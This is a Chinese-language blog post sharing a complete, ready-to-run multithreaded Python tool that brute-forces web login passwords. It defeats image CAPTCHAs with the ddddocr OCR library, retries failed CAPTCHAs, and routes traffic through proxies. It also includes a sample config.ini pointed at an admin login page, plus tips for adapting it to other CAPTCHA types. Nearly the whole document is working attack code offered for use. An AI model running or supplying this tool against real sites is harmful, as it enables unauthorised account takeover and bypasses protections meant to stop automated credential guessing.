验证码识别爆破多线程Python版

Mr.Wu 3,889 0 正在检测是否收录...

验证码识别爆破多线程Python版

脚本代码

import requests,threading,base64,argparse,datetime,ddddocr,imghdr,configparser,os,ast
from queue import Queue
from tqdm import tqdm

class scan:
    def save(self,data):
        f = open('log.txt', 'a',encoding='utf-8')
        f.write(data + '\n')
        f.close()

    def _ocr(self,img):
        if imghdr.what(None,img) is not None:
            ocr = ddddocr.DdddOcr(show_ad=False)
            res = ocr.classification( img )
            return res
        else:
            tqdm.write("%s [ERROR] 请求验证码内容返回非图片格式,请检查!"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')))
            exit()

    def captcha(self,captcha_url,proxy,captcha_header):
        try:
            if proxy:
                if captcha_header:
                    req = requests.get(captcha_url, headers=ast.literal_eval(captcha_header), proxies=proxy, verify=False)
                else:
                    req = requests.get(captcha_url, proxies=proxy, verify=False)
            else:
                if captcha_header:
                    req = requests.get(captcha_url, headers=ast.literal_eval(captcha_header), verify=False)
                else:
                    req = requests.get(captcha_url, verify=False)

            img_captcha = self._ocr( req.content )
            cookies = requests.utils.dict_from_cookiejar(req.cookies)
            cookie = "; ".join([str(x)+"="+str(y) for x,y in cookies.items()])
            if cookie and img_captcha:
                return cookie,img_captcha
            else:
                return ''
            
        except Exception as e:
            return ''

    def login(self,url,yzm,data_list,cookie,proxy,post_data,post_header):
        try:
            cookies = {"Cookie": cookie}
            if post_header:
                cookies.update(ast.literal_eval(post_header))
            datas = post_data.replace('mrwu_pass', data_list).replace('mrwu_yzm', yzm)
            if proxy:
                data = requests.post(url,ast.literal_eval(datas), headers=cookies, proxies=proxy, verify=False)
            else:
                data = requests.post(url,ast.literal_eval(datas), headers=cookies, verify=False)
            if data.status_code and data.text:
                return data.status_code,data.text
            else:
                return ''
        except Exception as e:
            return ''

    def go(self,url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header):
        try:
            yzm = self.captcha(captcha_url,proxy,captcha_header)

            stusts = self.login(url,yzm[1],data_list,yzm[0],proxy,post_data,post_header)

            res = [ele for ele in jg if(ele in str(stusts) or ele in str(stusts[0]))]

            if "验证码错误" in str(stusts) and "谷歌验证码" not in str(stusts): #验证码错误判断且自动重试,如果返回包正确也会出现验证码错误四个字的话,请重新定义判断的字符串
                self.go(url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header) # 验证码错误重试

            elif bool(res) == False:
                if len(str(stusts[1])) <= 50: #设定响应包长度小于等于50才打印响应包结果,如果需要显示更长的响应包,自行修改前面的数值
                    tqdm.write("%s [INFO]  %s  ###  响应结果:%s"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),data_list,str(stusts[1])))
                else:
                    self.save(data_list + " ### " + str(stusts[1]))
                    tqdm.write("%s [INFO]  %s  ###  响应结果:响应包太大已关闭显示,请查看log.txt文件"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'),data_list))
            
            if str(stusts[0]):
                return str(stusts[0])

        except:
           self.go(url,captcha_url,data_list,jg,proxy,post_data,post_header,captcha_header)  


class set:
    def banner(self):
        print('''
                      _       _                         
                     | |     | |                        
       ___ __ _ _ __ | |_ ___| |__   __ _    __ _  ___  
      / __/ _` | '_ \| __/ __| '_ \ / _` |  / _` |/ _ \ 
     | (_| (_| | |_) | || (__| | | | (_| | | (_| | (_) |
      \___\__,_| .__/ \__\___|_| |_|\__,_|  \__, |\___/ 
               | |                           __/ |      
               |_|                          |___/       

    Author:MrWu  feedback:https://mrwu.red/fenxiang/4090.html        
                                                   ''')
    def args(self):
        parser = argparse.ArgumentParser()
        parser.add_argument('-d','--data', nargs='+',default='', required=True,help="排除的结果关键词或者响应状态码,2者可一起用,空格分割")
        parser.add_argument('-t','--threads', type=int, default=20, required=True,help="指定线程数")
        parser.add_argument('-s','--socks', type=int, default=2,help="-s 1 启用代理")
        parser.add_argument('-z','--header', type=int, default=2,help="-h 1 启用请求头")
        args = parser.parse_args()
        return args

    def get_config(self):
        root_dir = os.path.dirname(__file__)
        config_dir = os.path.join(root_dir, 'config.ini')
        cf = configparser.ConfigParser()
        cf.read(config_dir, encoding="utf-8")
        post_url = cf.get('url', 'post_url')
        captcha_url = cf.get('url', 'captcha_url')
        dict_txt = cf.get('dict', 'txt')
        post_data = cf.get('post_data', 'data')
        proxy = cf.get('proxy', 'dl')
        post_header = cf.get('header', 'post_header')
        captcha_header = cf.get('header', 'captcha_header')
        if post_url and captcha_url and dict_txt and post_data:
            return post_url,captcha_url,dict_txt,post_data,proxy,post_header,captcha_header
        else:
            tqdm.write("提示: 请检查脚本同目录下的config.ini文件中的配置是否正确!")

    def open_data(self,txt):
        data_list = []
        with open(txt, 'r', encoding='utf-8') as f:
            for line in f:
                data_list.append(line.replace("\n", ""))
            return data_list

    def burst(self,data):
        while not txt.empty():
            txt.get()
            home = scan()
            pbar.set_description("状态码: %s"%( home.go(data[0],data[1],txt.get(),data[2],data[3],data[4],data[5],data[6]) ))
            pbar.update(1)
            if len(threading.enumerate()) == 3:
                tqdm.write("%s [OK]  所有任务已全部完成!\n"%(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')))


if __name__ == '__main__':
    info = set()
    info.banner()
    try:
        data = info.args().data
        post_url = info.get_config()[0]
        captcha_url = info.get_config()[1]
        post_data = info.get_config()[3]
        proxy = info.get_config()[4]
        post_header = info.get_config()[5]
        captcha_header = info.get_config()[6]

        if info.args().socks == 1:
            if proxy:
                proxys = {'http': proxy,'https': proxy}
            else:
                print("请配置 config.ini 文件中的代理设置!")
                exit()
        else:
            proxys = []

        if info.args().header == 1:
            if post_header or captcha_header:
                post_header = post_header
                captcha_header = captcha_header
            else:
                print("请配置 config.ini 文件中的请求头设置!")
                exit()
        else:
            post_header = ''
            captcha_header = ''

        
        txt = Queue()
        for x in info.open_data( info.get_config()[2] ):
            txt.put(x)

        pbar = tqdm(total=txt.qsize(), desc='任务开始',colour='#00ff00', position=0, ncols=75)

        threads = []
        data1 = post_url,captcha_url,data,proxys,post_data,post_header,captcha_header
        
        for i in range(int(info.args().threads) + 1):
            t = threading.Thread(target = info.burst,args=(data1,))
            threads.append(t)

        for t in threads:
            t.start()
    except:
        print("异常报错,请检查confing.ini 文件")

脚本配置文件(名字必须为 config.ini 和脚本放在同一目录下)

[url]
#数据提交接受地址
post_url = https://mrwu.red/admin/login/getloginda.html
#验证码地址
captcha_url = https://mrwu.red/captcha.html

[header]
#数据提交请求头 注意,这里不能添加cookie 头,会覆盖导致验证码失效,如果要添加需要修改代码
post_header = {"Referer":"https://mrwu.red"}
#验证码请求头
captcha_header = {'Referer':'https://mrwu.red',}

[post_data]
#数据结构 mrwu_pass 变量是密码字典   mrwu_yzm 变量是验证码   自行将这2个变量填入到你的数据结构中
data = {"name":"mrwu_pass","password":'123456',"verify":"mrwu_yzm","googleCode":""}

[dict]
#爆破字典配置
txt = F:\BaiduSyncdisk\pass\username.txt

[proxy]
dl = socks5://127.0.0.1:7899

说明

  • 如果遇到目标站请求需要效验某个Cookie时,将代码做如下改动即可:

cookies = {"Cookie": cookie"}

改为:

cookies = {"Cookie": cookie + ";UTH_cookietime=2592000;"}

其中 UTH_cookietime=2592000 是个例子,注意前后的分号

  • -s 1 表示启用代理,不加则不启用
  • -z 1 表示启用自定义状态头请求,不加则不启用
  • -d 排除的返回包数据特征或者状态码都可以,多个内容用空格分开
  • config.ini 配置文件记得以 UTF-8 的编码格式修改保存,否则可能出问题!
  • 提示 请求验证码内容返回非图片格式,请检查 或 图片类型无法识别报错

这种情况要么是验证码没有返回图片格式要么就是 ddddocr 识别不了你的图片,前者可以自行检查为什么返回包不是图片格式,后者可以自行重写 _ocr 函数,比如遇到那种需要点文字或者拖拽的验证码,ddddocr 好像也是支持的,只需要自行百度看下别人的参考代码,然后把代码复制替换 _ocr 函数中的代码,最后 return 输出验证码识别结果就行了。

差不多就这样吧,之前有大佬分享过一款基于 BP 插件的 验证码识别工具,同样也是基于 ddddocr ,之所以再造炉子是因为他那个只能单线程,速度太慢了,而且 BP 爆破其他的也莫名的慢,不知道是不是我 BP 版本的问题;

这个小脚本目前已经完全满足我所需,等以后遇到新的问题在完善吧,如果使用过程中有遇到什么问题可以在本文下留言,随缘回复~
最后恭喜各位又老了一岁~

打赏
发表评论 取消回复
表情 图片 链接 代码

分享
微信
微博
QQ